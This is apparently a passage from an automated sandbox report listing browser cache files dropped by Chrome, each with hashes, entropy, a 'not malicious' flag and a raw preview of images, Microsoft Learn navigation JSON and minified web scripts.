Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 148

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Reputation:	unknown
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 149

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	unknown
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 150

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Reputation:	unknown
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 151

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Reputation:	unknown
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 153

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Reputation:	unknown
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 155

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Reputation:	unknown
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 156

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 157

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	unknown
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 158

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Reputation:	unknown
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 159

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Reputation:	unknown
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 160

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	unknown
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 161

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 162

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Reputation:	unknown
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 163

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Reputation:	unknown
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 164

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 165

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Reputation:	unknown
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 166

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	unknown
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 167

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Reputation:	unknown
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 168

